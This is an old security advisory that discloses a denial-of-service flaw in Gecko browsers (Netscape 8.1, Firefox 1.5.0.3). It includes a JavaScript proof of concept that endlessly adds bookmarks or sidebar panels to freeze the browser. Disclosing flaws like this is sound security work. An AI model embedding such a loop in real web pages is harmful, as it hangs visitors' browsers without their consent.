[NEWS] Gecko AddFavorite Function DoS

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Gecko AddFavorite Function DoS
------------------------------------------------------------------------


SUMMARY

By using an endless loop to add bookmarks to the sidebar or the bookmarks
on Gecko based browsers, attackers can cause a DoS condition and cause
Gecko based browsers to freeze.

DETAILS

Vulnerable Systems:
* Netscape Browser version 8.1
* Firefox version 1.5.0.3

By using endless loop with Gecko based web browsers to add new sidebar or
bookmark, it is possible to cause Gecko to stop responding.

Proof of Concept:
< script language="JavaScript1.2" type="text/javascript" >

function MainPageBookmark()
{
title="Gianni Amato";
url="http://www.gianniamato.it/";;

if (window.sidebar) {
window.sidebar.addPanel(title, url,"");
}
else if( window.external )
{
window.external.AddFavorite( url, title);
}
else if (window.opera && window.print)
{
return true;
}
}

for (k=0;k<k+1;k++) MainPageBookmark();
< / script>


ADDITIONAL INFORMATION

The information has been provided by <mailto:guelfoweb@xxxxxxxxx> Gianni
Amato, <mailto:juha-matti.laurio@xxxxxxxx> Juha-Matti Laurio.
The original article can be found at:
<http://www.milw0rm.com/exploits/1802>
http://www.milw0rm.com/exploits/1802



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